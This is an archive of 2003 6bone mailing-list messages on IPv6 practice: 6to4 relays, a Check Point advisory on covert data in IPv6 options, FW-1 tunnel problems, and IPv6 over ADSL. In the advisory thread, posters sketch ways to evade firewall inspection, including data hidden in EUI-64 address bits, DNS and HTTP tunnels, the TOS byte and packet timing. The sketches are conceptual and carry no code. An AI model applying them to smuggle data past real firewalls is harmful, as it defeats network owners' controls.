for further details.  They sent me an email and after abit of correspondence
it is evident that they have received so few submissions that they have
basically been pushing back the deadlines several times.  Anyway, hope it is
useful information for IPv6'ers out there.

Thanks,
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)


From riel@imladris.surriel.com Sat Jul 12 04:47:58 2003
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From: Rik van Riel <riel@imladris.surriel.com>
To: Alexander Gall <gall@switch.ch>
cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
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On Thu, 10 Jul 2003, Alexander Gall wrote:

> All networks with global IPv6 connectivity should simply provide a
> 6to4 router that handles all traffic to 2002::/16 from their
> customers.  In the best case, 2002::/16 would not need to be in the
> global routing table at all.

Does anybody know whether Linux could be set up to have packets
to 2002::/16 sent out over ipv4 ?

I would like to avoid using 6to4 relays for 2002::/16, admittedly
mostly for efficiency reasons.  It would be nice if my packets to
2002::/16 didn't need to travel around the world and incur half
second latencies...

Rik
-- 
Engineers don't grow up, they grow sideways.
http://www.surriel.com/		http://kernelnewbies.org/

From pekkas@netcore.fi Sat Jul 12 07:37:52 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Rik van Riel <riel@imladris.surriel.com>
cc: Alexander Gall <gall@switch.ch>, Pim van Pelt <pim@ipng.nl>,
   <6bone@ISI.EDU>
Subject: Re: [6bone] DoS attacks through 6to4 anycast relay
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On Sat, 12 Jul 2003, Rik van Riel wrote:
> On Thu, 10 Jul 2003, Alexander Gall wrote:
> 
> > All networks with global IPv6 connectivity should simply provide a
> > 6to4 router that handles all traffic to 2002::/16 from their
> > customers.  In the best case, 2002::/16 would not need to be in the
> > global routing table at all.
> 
> Does anybody know whether Linux could be set up to have packets
> to 2002::/16 sent out over ipv4 ?
> 
> I would like to avoid using 6to4 relays for 2002::/16, admittedly
> mostly for efficiency reasons.  It would be nice if my packets to
> 2002::/16 didn't need to travel around the world and incur half
> second latencies...

Just enable 6to4 on your router like your would enable it on a host, and 
that should be it.

(E.g. on Red Hat Linux, see /usr/share/doc/initscripts-*/ipv6-6to4.howto.)

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From hank@att.net.il Mon Jul 14 23:12:51 2003
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http://www.nwfusion.com/news/2003/0714netscreen.html

-hank


From hank@att.net.il Tue Jul 15 00:07:12 2003
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From: Hank Nussbacher <hank@att.net.il>
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Subject: [6bone] Headsup: Block messaging over IPv6 options
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http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.html

-Hank


From jeroen@unfix.org Tue Jul 15 01:31:23 2003
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Subject: RE: [6bone] Headsup: Block messaging over IPv6 options
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Hank Nussbacher wrote:

> http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.html

Better start checking the IP addresses too, because I could easily:

<---      128 bit IPv6 address     --->
<---    subnet  ---><---  EUI-64   --->
3ffe:8114:2000:0240:0290:27ff:fe24:c19f

What if I use the EUI-64 part for 8x8 bits: 8 chars of text ?

Route the /64 through one box and use some tcpdump trickery.
Currently, with especially the 6bone it is not too uncommon
to have a complete /48 directed to one box, let's see
how 'covert' we can play there. I could even put the chars
in the EUI-64 form, looking like EUI-64 but not being it.
Have fun filtering oh mighty firewall people.

IMHO think that 'inspecting' is useless. As long as
two(+) endpoints are in control of a user he can send
any kind of packets between them. We are not talking
about distributing or crypting stuff yet...
Think of the nice DNS tunnels :)

Using a HTTP proxy could be a good start though.
But then we simply would use POST on a external server
to get a nice tunnel. So have fun filtering.
And why do IPv6 if you are denying users their
end to end experience ? IMHO stick to your "ipv4 nat" security then.

If you really want to firewall your users: disconnect them.

Greets,
 Jeroen



From Francis.Dupont@enst-bretagne.fr Tue Jul 15 04:59:23 2003
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To: Hank Nussbacher <hank@att.net.il>
cc: first-teams@first.org, 6bone@ISI.EDU
Subject: Re: [6bone] Headsup: Block messaging over IPv6 options 
In-reply-to: Your message of Tue, 15 Jul 2003 10:04:45 +0200.
             <5.1.0.14.2.20030715100210.00abf0e0@max.att.net.il> 
Date: Tue, 15 Jul 2003 13:57:53 +0200
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 In your previous mail you wrote:

   http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.html
   
=> Oh! If we need another bigger covert channel I can propose the
transport payload... Is the advisory a joke or someone announced
the IPv6 support when he was at the bottom of the learning curve?

Francis.Dupont@enst-bretagne.fr

From rocheml@httrack.com Tue Jul 15 05:24:35 2003
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Subject: Re: [6bone] Headsup: Block messaging over IPv6 options
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On Tue, Jul 15, 2003 at 01:57:53PM +0200, Francis Dupont wrote:
>    http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.html
> => Oh! If we need another bigger covert channel I can propose the
> transport payload... Is the advisory a joke or someone announced
> the IPv6 support when he was at the bottom of the learning curve?

There is also a great security threat in IPv4 regarding the TOS byte which can be used to transmit data. It is possible to use this header fragment "as a covert channel to pass data between peers, without being inspected". Spooky!


From hansolofalcon@worldnet.att.net Tue Jul 15 05:44:16 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'Francis Dupont'" <Francis.Dupont@enst-bretagne.fr>,
   "'Hank Nussbacher'" <hank@att.net.il>
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Subject: RE: [6bone] Headsup: Block messaging over IPv6 options 
Date: Tue, 15 Jul 2003 08:44:49 -0400
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Hello from Gregg C Levine
I think I am lost. Would one of you, or any of you, please elaborate?
I looked at the website. It seems to be an almost professional outfit,
which seems to think they need a registration to allow the interested
party to view what they are intending to do regarding the concepts. I
don't follow their line of reasoning.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu
[mailto:6bone-admin@mailman.isi.edu] On
> Behalf Of Francis Dupont
> Sent: Tuesday, July 15, 2003 7:58 AM
> To: Hank Nussbacher
> Cc: first-teams@first.org; 6bone@ISI.EDU
> Subject: Re: [6bone] Headsup: Block messaging over IPv6 options
> 
>  In your previous mail you wrote:
> 
>
http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.
html
> 
> => Oh! If we need another bigger covert channel I can propose the
> transport payload... Is the advisory a joke or someone announced
> the IPv6 support when he was at the bottom of the learning curve?
> 
> Francis.Dupont@enst-bretagne.fr
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From todd@shadow.fries.net Tue Jul 15 05:47:40 2003
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Date: Tue, 15 Jul 2003 07:45:37 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Xavier Roche <rocheml@httrack.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Headsup: Block messaging over IPv6 options
Message-ID: <20030715124537.GA27276@fries.net>
Reply-To: todd@fries.net
References: <5.1.0.14.2.20030715100210.00abf0e0@max.att.net.il> <200307151157.h6FBvrof041728@givry.rennes.enst-bretagne.fr> <20030715122425.GA4374@linux.localnet.loc>
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Even worse, the icmp data is uninspected.  And this bug effects both protocol
families!

What were people thinking when they wrote internet rfc's, that people might
actually try to transmit data?  Oh no!
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Xavier Roche on Tue, Jul 15, 2003 at 02:24:25PM +0200, we have:
| On Tue, Jul 15, 2003 at 01:57:53PM +0200, Francis Dupont wrote:
| >    http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.html
| > => Oh! If we need another bigger covert channel I can propose the
| > transport payload... Is the advisory a joke or someone announced
| > the IPv6 support when he was at the bottom of the learning curve?
| 
| There is also a great security threat in IPv4 regarding the TOS byte which can be used to transmit data. It is possible to use this header fragment "as a covert channel to pass data between peers, without being inspected". Spooky!
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From todd@shadow.fries.net Tue Jul 15 08:15:09 2003
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Date: Tue, 15 Jul 2003 10:12:41 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Gregg C Levine <hansolofalcon@worldnet.att.net>
Cc: "'Francis Dupont'" <Francis.Dupont@enst-bretagne.fr>,
   "'Hank Nussbacher'" <hank@att.net.il>, 6bone@ISI.EDU
Subject: Re: [6bone] Headsup: Block messaging over IPv6 options
Message-ID: <20030715151241.GB27276@fries.net>
Reply-To: todd@fries.net
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The `security alert' in question comes from putting data in a packet,
transmitting it, and receiving that data.  The floor rolling is being done
by those of us who understand that to be the basic tennent of those who
use the internet.

In all seriousness, I guess they're actually concerned about the 'do not
inspect' flag and thinking firewalls will actually obey this incase someone
uses that data to put something they wish to bypass the firewall with.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Gregg C Levine on Tue, Jul 15, 2003 at 08:44:49AM -0400, we have:
| Hello from Gregg C Levine
| I think I am lost. Would one of you, or any of you, please elaborate?
| I looked at the website. It seems to be an almost professional outfit,
| which seems to think they need a registration to allow the interested
| party to view what they are intending to do regarding the concepts. I
| don't follow their line of reasoning.
| -------------------
| Gregg C Levine hansolofalcon@worldnet.att.net
| ------------------------------------------------------------
| "The Force will be with you...Always." Obi-Wan Kenobi
| "Use the Force, Luke."  Obi-Wan Kenobi
| (This company dedicates this E-Mail to General Obi-Wan Kenobi )
| (This company dedicates this E-Mail to Master Yoda )
| 
| 
| 
| > -----Original Message-----
| > From: 6bone-admin@mailman.isi.edu
| [mailto:6bone-admin@mailman.isi.edu] On
| > Behalf Of Francis Dupont
| > Sent: Tuesday, July 15, 2003 7:58 AM
| > To: Hank Nussbacher
| > Cc: first-teams@first.org; 6bone@ISI.EDU
| > Subject: Re: [6bone] Headsup: Block messaging over IPv6 options
| > 
| >  In your previous mail you wrote:
| > 
| >
| http://www.checkpoint.com/securitycenter/advisories/2003/cpai-2003-22.
| html
| > 
| > => Oh! If we need another bigger covert channel I can propose the
| > transport payload... Is the advisory a joke or someone announced
| > the IPv6 support when he was at the bottom of the learning curve?
| > 
| > Francis.Dupont@enst-bretagne.fr
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From rocheml@httrack.com Tue Jul 15 13:36:01 2003
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Jeroen Massar wrote:
> Better start checking the IP addresses too, because I could easily:

Do you assume that we should filter /64 suffixes such as
3ffe:8114:2000:0240:cafe:babe:dead:beef
to avoid java hackers ? :)

> Think of the nice DNS tunnels :)

Or even encoding data using latency between regular IP packets
(>Nms = 1, <N/2ms=0), low-level error correction, and so on..

> If you really want to firewall your users: disconnect them.

Agree - there is IMHO a confusion between security and the control of
what kind of data can be transmitted - playing with IP packets and hiding
data on them has nothing to do with security


---
Xavier Roche
roche at httrack dot com


From Toomas.Soome@microlink.ee Wed Jul 16 08:07:48 2003
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Subject: [6bone] FW-1 & IPv6 gw with 6to4 tunnel
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hi!

we are playing with latest fw-1 in solaris 8 box. we did manage to set
up ip.tun interface for outgoing link, but now there appears 2 problems:

1. fw-1 seems to be unable to filter packets from ip.tun interface. I
know fw-1 is currently unable to "see" inside of 6to4 tunnel, but this
host is endpoint for this tunnel. ok. I can use ipfilter to filter this
interface for workaround.

2. outgoing traffic is broken if initiated outside of this gateway. tcp
session will be established but I will not get [almost] any data, but
then again, session will be closed okay.

we did test this with telnetting to remote host port 22 and 80,
connection was established, I was able to see from remote host, it did
send data, but local host didn't get any data, but it did get RST.

outgoing connections initiated from fw host did behave ok, incoming
connections from remote hosts were ok as well (from remote to fw and
from remote to internal).

any comments/ideas? anyone tested fw-1 in similar kind of solution?
probably the workaround for second (and first) problem would be to
terminate tunnel before fw-1 host and let fw-1 to handle only real
interfaces, but this is not best solution in our case:(

toomas


From dan@reeder.name Tue Jul 22 19:19:34 2003
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Subject: [6bone] v6 and ADSL
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Hi guys

Has anyone here offered native ipv6 connectivity over ADSL tails before? =
If so, what kind of CPE equipment needs to be used? Understandably it =
needs to support v6 native, but I have no idea what brands/models exist.

Alternatively, if native v6 support is a bit of a hinderance, would 6in4 =
tunnels be viable? If so, what would the client setup look like?

thanks!
Dan Reeder
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#d9d9d9>
<DIV><FONT face=3DArial size=3D2>Hi guys</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Has anyone here offered native ipv6 =
connectivity=20
over ADSL tails before? If so, what kind of CPE equipment needs to be =
used?=20
Understandably it needs to support v6 native, but I have no idea what=20
brands/models exist.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Alternatively, if native v6 support is =
a bit of a=20
hinderance, would 6in4 tunnels be viable? If so, what would the client =
setup=20
look like?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>thanks!<BR></FONT><FONT face=3DArial =
size=3D2>Dan=20
Reeder</DIV></FONT></BODY></HTML>

------=_NextPart_000_0009_01C35114.A86B83C0--



From tcpdumb@it-bytes.org Tue Jul 22 20:56:00 2003
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From: tcpdumb <tcpdumb@it-bytes.org>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] v6 and ADSL
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Hi there!

I'm currently working on a "dialup6to4"-script which automatically assigns a 6to4 IPv6-Address to the tunnel-interface "sit1" and sets up a tunnel (sit0) to a gateway tunnel and will - in its beta-version - automatically update the /etc/radvd.conf if ist exists. The alpha is already working well but is still considered alpha, due to it's ugly code. As soon as I have rewritten it, I will publicise it.
Regards,

	Lukas Th. Hey aka tcpdumb

On Wed, 23 Jul 2003 12:19:26 +1000
"Dan Reeder" <dan@reeder.name> wrote:

> Hi guys
> 
> Has anyone here offered native ipv6 connectivity over ADSL tails before? If so, what kind of CPE equipment needs to be used? Understandably it needs to support v6 native, but I have no idea what brands/models exist.
> 
> Alternatively, if native v6 support is a bit of a hinderance, would 6in4 tunnels be viable? If so, what would the client setup look like?
> 
> thanks!
> Dan Reeder

From itojun@itojun.org Tue Jul 22 21:02:49 2003
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Subject: Re: [6bone] v6 and ADSL 
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Date: Wed, 23 Jul 2003 13:02:44 +0900
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>Has anyone here offered native ipv6 connectivity over ADSL tails before?
>If so, what kind of CPE equipment needs to be used? Understandably it
>needs to support v6 native, but I have no idea what brands/models exist.

	in japan there are multiple ISPs doing it (NTT.com and some others)
	dunno which equipment they are using.

itojun

From matt@mattb.net.nz Tue Jul 22 21:11:32 2003
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You may want to look at

http://www.wlug.org.nz/6to4

There are currently a few of us playing with 6to4 as there is no native v6
offering available in NZ yet. The page above contains instructions on how
to setup 6to4 on a linux box and also some scripts to do what you were
metioning below.

Regards

On Wed, 23 Jul 2003, tcpdumb wrote:

> Hi there!
>
> I'm currently working on a "dialup6to4"-script which automatically assigns a 6to4 IPv6-Address to the tunnel-interface "sit1" and sets up a tunnel (sit0) to a gateway tunnel and will - in its beta-version - automatically update the /etc/radvd.conf if ist exists. The alpha is already working well but is still considered alpha, due to it's ugly code. As soon as I have rewritten it, I will publicise it.
> Regards,
>
> 	Lukas Th. Hey aka tcpdumb
>
> On Wed, 23 Jul 2003 12:19:26 +1000
> "Dan Reeder" <dan@reeder.name> wrote:
>
> > Hi guys
> >
> > Has anyone here offered native ipv6 connectivity over ADSL tails before? If so, what kind of CPE equipment needs to be used? Understandably it needs to support v6 native, but I have no idea what brands/models exist.
> >
> > Alternatively, if native v6 support is a bit of a hinderance, would 6in4 tunnels be viable? If so, what would the client setup look like?
> >
> > thanks!
> > Dan Reeder
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>

-- 
Matt Brown
matt@mattb.net.nz



From pekkas@netcore.fi Tue Jul 22 22:52:49 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: tcpdumb <tcpdumb@it-bytes.org>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] v6 and ADSL
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On Wed, 23 Jul 2003, tcpdumb wrote:
> I'm currently working on a "dialup6to4"-script which automatically
> assigns a 6to4 IPv6-Address to the tunnel-interface "sit1" and sets up a
> tunnel (sit0) to a gateway tunnel and will - in its beta-version -
> automatically update the /etc/radvd.conf if ist exists. The alpha is
> already working well but is still considered alpha, due to it's ugly
> code. As soon as I have rewritten it, I will publicise it. Regards,

Have you looked at Red Hat Linux initscripts?  They have already been able 
to do this for at least a year now.

> On Wed, 23 Jul 2003 12:19:26 +1000
> "Dan Reeder" <dan@reeder.name> wrote:
> 
> > Hi guys
> > 
> > Has anyone here offered native ipv6 connectivity over ADSL tails before? If so, what kind of CPE equipment needs to be used? Understandably it needs to support v6 native, but I have no idea what brands/models exist.
> > 
> > Alternatively, if native v6 support is a bit of a hinderance, would 6in4 tunnels be viable? If so, what would the client setup look like?
> > 
> > thanks!
> > Dan Reeder
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From pekkas@netcore.fi Tue Jul 22 22:53:42 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Dan Reeder <dan@reeder.name>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] v6 and ADSL
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On Wed, 23 Jul 2003, Dan Reeder wrote:
> Has anyone here offered native ipv6 connectivity over ADSL tails before?
> If so, what kind of CPE equipment needs to be used? Understandably it
> needs to support v6 native, but I have no idea what brands/models exist.

Bridged DSL requires nothing of CPE equipment.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


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Hi Dan,

Am Mit, 2003-07-23 um 04.19 schrieb Dan Reeder:
> Has anyone here offered native ipv6 connectivity over ADSL tails
> before? If so, what kind of CPE equipment needs to be used?
As for the CPE: there is no need for other equipment (different layer).
 
> Alternatively, if native v6 support is a bit of a hinderance, would
> 6in4 tunnels be viable? If so, what would the client setup look like?
Another very good solution for your would be ISATAP but as with 6to4 you
will need a server at the other end (though there should be some 6to4
servers available globally if I remember correctly). If you want to read
more about ISATAP, have a look here:

http://www.join.uni-muenster.de/Dokumente/Howtos/Howto_ISATAP.php?lang=en

HTH,
Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Strauf
A DFN project                   Westfälische Wilhelms-Universität Münster
http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
Team: join@uni-muenster.de      Röntgenstrasse 9-13
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From gert@Space.Net Wed Jul 23 00:56:16 2003
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To: Dan Reeder <dan@reeder.name>
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Subject: Re: [6bone] v6 and ADSL
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hi,

On Wed, Jul 23, 2003 at 12:19:26PM +1000, Dan Reeder wrote:
> Has anyone here offered native ipv6 connectivity over ADSL tails before? 

Yes, we do that.

> If so, what kind of CPE equipment needs to be used? Understandably it 
> needs to support v6 native, but I have no idea what brands/models exist.

For "boxed products", all we have seen so far is Cisco.

If you don't want that, you can use a ADSL-to-Ethernet modem (like the ones
Deutsche Telekom is shipping) and use Linux or *BSD with their PPPoE client,
which is fully IPv6 capable.  A number of our customers use that.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  55442  (55636)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nir.arad@il.marvell.com Wed Jul 23 01:04:02 2003
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Subject: Re: [6bone] v6 and ADSL
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Hi Christian,

If I understand ISATAP correctly, you need a globally unique /64 prefix.
I assume Dan does not have one, and would want to rely on his (globally unique, dynamically assigned) IPv4 address.
This IPv4 address can be used to form a 6to4 address, and connect to a 6to4 relay.

Now, assuming again, that Dan does not have a home network with private addresses behind his ADSL modem (but only one
host), and since he needs 6to4 anyway, what would be the reasoning in using ISATAP in such configuration?

Of course, if those assumptions don't hold, I do see the point in ISATAP, but I am curious if there is a scenario I'm
missing under the above assumptions.

Regards,

-- Nir Arad

----- Original Message ----- 
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: "Dan Reeder" <dan@reeder.name>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, July 23, 2003 8:42 AM
Subject: Re: [6bone] v6 and ADSL


> Hi Dan,
>
> Am Mit, 2003-07-23 um 04.19 schrieb Dan Reeder:
> > Has anyone here offered native ipv6 connectivity over ADSL tails
> > before? If so, what kind of CPE equipment needs to be used?
> As for the CPE: there is no need for other equipment (different layer).
>
> > Alternatively, if native v6 support is a bit of a hinderance, would
> > 6in4 tunnels be viable? If so, what would the client setup look like?
> Another very good solution for your would be ISATAP but as with 6to4 you
> will need a server at the other end (though there should be some 6to4
> servers available globally if I remember correctly). If you want to read
> more about ISATAP, have a look here:
>
> http://www.join.uni-muenster.de/Dokumente/Howtos/Howto_ISATAP.php?lang=en
>
> HTH,
> Christian
>
> -- 
> JOIN - IP Version 6 in the WiN  Christian Strauf
> A DFN project                   Westfälische Wilhelms-Universität Münster
> http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> Team: join@uni-muenster.de      Röntgenstrasse 9-13
> Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83 31653
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>


From ipng@uni-muenster.de Wed Jul 23 02:11:30 2003
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Subject: Re: [6bone] v6 and ADSL
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: Nir Arad <nir.arad@il.marvell.com>
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Hi Nir,

Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> If I understand ISATAP correctly, you need a globally unique /64 prefix.
> I assume Dan does not have one, and would want to rely on his (globally unique, dynamically assigned) IPv4 address.
> This IPv4 address can be used to form a 6to4 address, and connect to a 6to4 relay.
You need this /64 prefix for the server (not for the client) which then
assigns IP-addresses to ISATAP clients within this prefix. So in a way,
if Dan has access to an ISATAP-server, this would solve his problem.
It's probably not as easy a solution as 6to4 but I wanted to point out
this option. But it's incorrect that Dan himself needs his own /64
prefix. A provider or other entity that runs the ISATAP-server needs a
prefix.

> Now, assuming again, that Dan does not have a home network with private addresses behind his ADSL modem (but only one
> host), and since he needs 6to4 anyway, what would be the reasoning in using ISATAP in such configuration?
See above: the primary function of ISATAP is to connect one client, not
a whole net. Basically: ISATAP integrates single clients into a site
that has a certain prefix and advertises this prefix to connected
clients.

Cheers,
Christian

-- 
JOIN - IP Version 6 in the WiN  Christian Strauf
A DFN project                   Westfälische Wilhelms-Universität Münster
http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
Team: join@uni-muenster.de      Röntgenstrasse 9-13
Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
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From nir.arad@il.marvell.com Wed Jul 23 02:47:18 2003
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References: <000c01c350c0$d7c63560$0200a8c0@dryad> 	 <1058942538.7392.17.camel@kummerog.uni-muenster.de> 	 <009c01c350f9$bc5ebcf0$5801040a@lt38> <1058951486.7391.56.camel@kummerog.uni-muenster.de>
Subject: Re: [6bone] v6 and ADSL
Date: Wed, 23 Jul 2003 12:50:01 +0200
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Thanks for the clarification!


-- Nir Arad

----- Original Message ----- 
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, July 23, 2003 11:11 AM
Subject: Re: [6bone] v6 and ADSL


> Hi Nir,
>
> Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> > If I understand ISATAP correctly, you need a globally unique /64 prefix.
> > I assume Dan does not have one, and would want to rely on his (globally unique, dynamically assigned) IPv4 address.
> > This IPv4 address can be used to form a 6to4 address, and connect to a 6to4 relay.
> You need this /64 prefix for the server (not for the client) which then
> assigns IP-addresses to ISATAP clients within this prefix. So in a way,
> if Dan has access to an ISATAP-server, this would solve his problem.
> It's probably not as easy a solution as 6to4 but I wanted to point out
> this option. But it's incorrect that Dan himself needs his own /64
> prefix. A provider or other entity that runs the ISATAP-server needs a
> prefix.
>
> > Now, assuming again, that Dan does not have a home network with private addresses behind his ADSL modem (but only
one
> > host), and since he needs 6to4 anyway, what would be the reasoning in using ISATAP in such configuration?
> See above: the primary function of ISATAP is to connect one client, not
> a whole net. Basically: ISATAP integrates single clients into a site
> that has a certain prefix and advertises this prefix to connected
> clients.
>
> Cheers,
> Christian
>
> -- 
> JOIN - IP Version 6 in the WiN  Christian Strauf
> A DFN project                   Westfälische Wilhelms-Universität Münster
> http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> Team: join@uni-muenster.de      Röntgenstrasse 9-13
> Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83 31653
>
>


From dan@reeder.name Wed Jul 23 06:30:19 2003
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From: "Dan Reeder" <dan@reeder.name>
To: "Christian Strauf \(JOIN\)" <ipng@uni-muenster.de>,
   "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
References: <000c01c350c0$d7c63560$0200a8c0@dryad> <1058942538.7392.17.camel@kummerog.uni-muenster.de> <009c01c350f9$bc5ebcf0$5801040a@lt38> <1058951486.7391.56.camel@kummerog.uni-muenster.de>
Subject: Re: [6bone] v6 and ADSL
Date: Wed, 23 Jul 2003 23:30:00 +1000
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Firstly, thanks to everyone for your speedy comments.

I guess I should clarify what I'm wanting to do. I'm planning on obtaining a
/48 from a Tier1 isp here in Australia, then divde that both into point to
point links for our client's dsl tails, and /64 or /80 allocations for the
clients own internal use.
I know the cisco 827 would be fairly ideal to use as far as native
connectivity goes, but it is fairly expensive when compared with other
broadband routers on the market that small to medium sized businesses would
use. Also, I'm not too sure what IOS it would need, and if thats
commercially available. Anyone know of more affordable equivilants?

The alternative is to run some sort of 6-in-4 tunnelling... again, having a
supportable CPE solution would be best... I've even tossed up the idea of
setting cheap/small intel box running linux of some sort... :-\ but the more
professional the better.

any thoughts?
Dan

----- Original Message ----- 
From: "Christian Strauf (JOIN)" <ipng@uni-muenster.de>
To: "Nir Arad" <nir.arad@il.marvell.com>
Cc: <6bone@ISI.EDU>
Sent: Wednesday, July 23, 2003 7:11 PM
Subject: Re: [6bone] v6 and ADSL


> Hi Nir,
>
> Am Mit, 2003-07-23 um 11.06 schrieb Nir Arad:
> > If I understand ISATAP correctly, you need a globally unique /64 prefix.
> > I assume Dan does not have one, and would want to rely on his (globally
unique, dynamically assigned) IPv4 address.
> > This IPv4 address can be used to form a 6to4 address, and connect to a
6to4 relay.
> You need this /64 prefix for the server (not for the client) which then
> assigns IP-addresses to ISATAP clients within this prefix. So in a way,
> if Dan has access to an ISATAP-server, this would solve his problem.
> It's probably not as easy a solution as 6to4 but I wanted to point out
> this option. But it's incorrect that Dan himself needs his own /64
> prefix. A provider or other entity that runs the ISATAP-server needs a
> prefix.
>
> > Now, assuming again, that Dan does not have a home network with private
addresses behind his ADSL modem (but only one
> > host), and since he needs 6to4 anyway, what would be the reasoning in
using ISATAP in such configuration?
> See above: the primary function of ISATAP is to connect one client, not
> a whole net. Basically: ISATAP integrates single clients into a site
> that has a certain prefix and advertises this prefix to connected
> clients.
>
> Cheers,
> Christian
>
> -- 
> JOIN - IP Version 6 in the WiN  Christian Strauf
> A DFN project                   Westfälische Wilhelms-Universität Münster
> http://www.join.uni-muenster.de Zentrum für Informationsverarbeitung
> Team: join@uni-muenster.de      Röntgenstrasse 9-13
> Priv: strauf@uni-muenster.de    D-48149 Münster / Germany
> GPG-/PGP-Key-ID: 1DFAAA9A       Fon: +49 251 83 31639, Fax: +49 251 83
31653
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From jeanthery@olympus-zone.net Wed Jul 23 06:30:53 2003
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Subject: Re: [6bone] v6 and ADSL 
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Wednesday, July 23, 2003 6:02 AM [GMT+1=CET],
itojun@iijlab.net <itojun@iijlab.net> à écrit :

>> Has anyone here offered native ipv6 connectivity over ADSL tails
>> before? If so, what kind of CPE equipment needs to be used?
>> Understandably it needs to support v6 native, but I have no idea
>> what brands/models exist.
>
> in japan there are multiple ISPs doing it (NTT.com and some others)
> dunno which equipment they are using.
>
> itojun

In france Nerim doing it with cisco (IOS 12.2(t) and higher)

Cordialy,

Jean Théry


